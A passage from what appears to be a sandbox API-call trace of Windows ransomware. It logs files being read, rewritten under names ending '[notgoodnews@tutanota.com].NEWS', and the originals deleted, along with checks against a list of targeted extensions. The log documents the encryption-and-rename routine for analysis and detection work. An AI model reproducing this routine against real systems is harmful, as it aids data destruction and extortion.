ReadFile (in: hFile=0x35c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x4158, lpOverlapped=0x0) returned 1 [0064.429] WriteFile (in: hFile=0x31c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x4160, lpOverlapped=0x0) returned 1 [0064.430] ReadFile (in: hFile=0x35c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.430] WriteFile (in: hFile=0x31c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0064.430] SetEndOfFile (hFile=0x31c) returned 1 [0064.430] CloseHandle (hObject=0x31c) returned 1 [0064.432] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.432] SetEndOfFile (hFile=0x35c) returned 1 [0064.433] CloseHandle (hObject=0x35c) returned 1 [0064.433] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.433] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1 [0064.433] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0064.433] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0064.433] lstrlenW (lpString=".doc") returned 4 [0064.433] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.433] lstrlenW (lpString=".docx") returned 5 [0064.433] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.433] lstrlenW (lpString=".pdf") returned 4 [0064.433] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.433] lstrlenW (lpString=".xls") returned 4 [0064.433] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.433] lstrlenW (lpString=".xlsx") returned 5 [0064.433] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.433] lstrlenW (lpString=".ppt") returned 4 [0064.434] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.434] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0064.434] lstrlenW (lpString=".zip") returned 4 [0064.434] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.434] lstrlenW (lpString=".rar") returned 4 [0064.434] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.434] lstrlenW (lpString=".bz2") returned 4 [0064.434] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.434] lstrlenW (lpString=".7z") returned 3 [0064.434] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.434] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0064.434] lstrlenW (lpString=".dbf") returned 4 [0064.434] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.434] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0064.434] lstrlenW (lpString=".1cd") returned 4 [0064.434] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.434] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0064.434] lstrlenW (lpString=".jpg") returned 4 [0064.434] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.434] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0064.434] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0064.434] lstrlenW (lpString=".doc") returned 4 [0064.434] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.434] lstrlenW (lpString=".docx") returned 5 [0064.434] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.434] lstrlenW (lpString=".pdf") returned 4 [0064.434] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.434] lstrlenW (lpString=".xls") returned 4 [0064.434] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.434] lstrlenW (lpString=".xlsx") returned 5 [0064.434] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.434] lstrlenW (lpString=".ppt") returned 4 [0064.434] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.434] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0064.434] lstrlenW (lpString=".zip") returned 4 [0064.434] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.434] lstrlenW (lpString=".rar") returned 4 [0064.435] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.435] lstrlenW (lpString=".bz2") returned 4 [0064.435] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.435] lstrlenW (lpString=".7z") returned 3 [0064.435] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.435] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0064.435] lstrlenW (lpString=".dbf") returned 4 [0064.435] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.435] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0064.435] lstrlenW (lpString=".1cd") returned 4 [0064.435] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.435] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0064.435] lstrlenW (lpString=".jpg") returned 4 [0064.435] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.435] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0064.435] lstrlenW (lpString="SetupResources.dll") returned 18 [0064.435] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.759] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=18776) returned 1 [0064.759] CloseHandle (hObject=0x350) returned 1 [0064.759] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80 [0064.759] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.759] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.759] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.759] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.759] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0064.759] GetLastError () returned 0x0 [0064.759] ReadFile (in: hFile=0x350, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x4958, lpOverlapped=0x0) returned 1 [0064.761] WriteFile (in: hFile=0x358, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x4960, lpOverlapped=0x0) returned 1 [0064.762] ReadFile (in: hFile=0x350, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.762] WriteFile (in: hFile=0x358, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0064.763] SetEndOfFile (hFile=0x358) returned 1 [0064.763] CloseHandle (hObject=0x358) returned 1 [0064.765] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.765] SetEndOfFile (hFile=0x350) returned 1 [0064.766] CloseHandle (hObject=0x350) returned 1 [0064.766] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.767] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1 [0064.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0064.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0064.767] lstrlenW (lpString=".doc") returned 4 [0064.767] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.767] lstrlenW (lpString=".docx") returned 5 [0064.767] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.767] lstrlenW (lpString=".pdf") returned 4 [0064.767] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.767] lstrlenW (lpString=".xls") returned 4 [0064.767] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.767] lstrlenW (lpString=".xlsx") returned 5 [0064.767] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.767] lstrlenW (lpString=".ppt") returned 4 [0064.767] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0064.767] lstrlenW (lpString=".zip") returned 4 [0064.767] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.767] lstrlenW (lpString=".rar") returned 4 [0064.767] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.767] lstrlenW (lpString=".bz2") returned 4 [0064.767] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.768] lstrlenW (lpString=".7z") returned 3 [0064.768] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0064.768] lstrlenW (lpString=".dbf") returned 4 [0064.768] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0064.768] lstrlenW (lpString=".1cd") returned 4 [0064.768] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0064.768] lstrlenW (lpString=".jpg") returned 4 [0064.768] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0064.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0064.768] lstrlenW (lpString=".doc") returned 4 [0064.768] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.768] lstrlenW (lpString=".docx") returned 5 [0064.768] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.768] lstrlenW (lpString=".pdf") returned 4 [0064.768] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.768] lstrlenW (lpString=".xls") returned 4 [0064.768] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.768] lstrlenW (lpString=".xlsx") returned 5 [0064.768] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.768] lstrlenW (lpString=".ppt") returned 4 [0064.768] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0064.768] lstrlenW (lpString=".zip") returned 4 [0064.768] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.768] lstrlenW (lpString=".rar") returned 4 [0064.768] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.768] lstrlenW (lpString=".bz2") returned 4 [0064.768] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.768] lstrlenW (lpString=".7z") returned 3 [0064.768] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0064.768] lstrlenW (lpString=".dbf") returned 4 [0064.769] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0064.769] lstrlenW (lpString=".1cd") returned 4 [0064.769] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0064.769] lstrlenW (lpString=".jpg") returned 4 [0064.769] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.769] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0064.769] lstrlenW (lpString="SetupResources.dll") returned 18 [0064.769] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.769] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=14168) returned 1 [0064.769] CloseHandle (hObject=0x350) returned 1 [0064.769] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80 [0064.769] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.769] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.769] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.770] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.770] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0064.770] GetLastError () returned 0x0 [0064.770] ReadFile (in: hFile=0x350, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x3758, lpOverlapped=0x0) returned 1 [0064.772] WriteFile (in: hFile=0x358, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x3760, lpOverlapped=0x0) returned 1 [0064.773] ReadFile (in: hFile=0x350, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.773] WriteFile (in: hFile=0x358, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0064.773] SetEndOfFile (hFile=0x358) returned 1 [0064.773] CloseHandle (hObject=0x358) returned 1 [0064.775] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.775] SetEndOfFile (hFile=0x350) returned 1 [0064.776] CloseHandle (hObject=0x350) returned 1 [0064.776] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.776] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1 [0064.776] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0064.776] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0064.776] lstrlenW (lpString=".doc") returned 4 [0064.776] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.776] lstrlenW (lpString=".docx") returned 5 [0064.776] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.776] lstrlenW (lpString=".pdf") returned 4 [0064.776] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.776] lstrlenW (lpString=".xls") returned 4 [0064.776] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.776] lstrlenW (lpString=".xlsx") returned 5 [0064.776] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.776] lstrlenW (lpString=".ppt") returned 4 [0064.777] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0064.777] lstrlenW (lpString=".zip") returned 4 [0064.777] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.777] lstrlenW (lpString=".rar") returned 4 [0064.777] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.777] lstrlenW (lpString=".bz2") returned 4 [0064.777] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.777] lstrlenW (lpString=".7z") returned 3 [0064.777] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0064.777] lstrlenW (lpString=".dbf") returned 4 [0064.777] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0064.777] lstrlenW (lpString=".1cd") returned 4 [0064.777] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0064.777] lstrlenW (lpString=".jpg") returned 4 [0064.777] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0064.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0064.777] lstrlenW (lpString=".doc") returned 4 [0064.777] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.777] lstrlenW (lpString=".docx") returned 5 [0064.777] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.777] lstrlenW (lpString=".pdf") returned 4 [0064.777] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.777] lstrlenW (lpString=".xls") returned 4 [0064.777] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.777] lstrlenW (lpString=".xlsx") returned 5 [0064.777] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.777] lstrlenW (lpString=".ppt") returned 4 [0064.777] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0064.778] lstrlenW (lpString=".zip") returned 4 [0064.778] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.778] lstrlenW (lpString=".rar") returned 4 [0064.778] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.778] lstrlenW (lpString=".bz2") returned 4 [0064.778] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.778] lstrlenW (lpString=".7z") returned 3 [0064.778] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0064.778] lstrlenW (lpString=".dbf") returned 4 [0064.778] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0064.778] lstrlenW (lpString=".1cd") returned 4 [0064.778] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0064.778] lstrlenW (lpString=".jpg") returned 4 [0064.778] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.778] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0064.778] lstrlenW (lpString="SetupResources.dll") returned 18 [0064.778] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.779] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=18776) returned 1 [0064.779] CloseHandle (hObject=0x350) returned 1 [0064.780] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80 [0064.780] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.780] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.780] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.780] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.780] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0064.780] GetLastError () returned 0x0 [0064.780] ReadFile (in: hFile=0x350, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x4958, lpOverlapped=0x0) returned 1 [0064.782] WriteFile (in: hFile=0x358, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x4960, lpOverlapped=0x0) returned 1 [0064.783] ReadFile (in: hFile=0x350, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.783] WriteFile (in: hFile=0x358, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0064.783] SetEndOfFile (hFile=0x358) returned 1 [0064.783] CloseHandle (hObject=0x358) returned 1 [0064.785] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.785] SetEndOfFile (hFile=0x350) returned 1 [0064.786] CloseHandle (hObject=0x350) returned 1 [0064.786] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.786] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1 [0064.786] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0064.786] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0064.786] lstrlenW (lpString=".doc") returned 4 [0064.786] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.786] lstrlenW (lpString=".docx") returned 5 [0064.786] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.786] lstrlenW (lpString=".pdf") returned 4 [0064.786] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.786] lstrlenW (lpString=".xls") returned 4 [0064.786] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.786] lstrlenW (lpString=".xlsx") returned 5 [0064.786] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.787] lstrlenW (lpString=".ppt") returned 4 [0064.787] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.787] lstrlenW 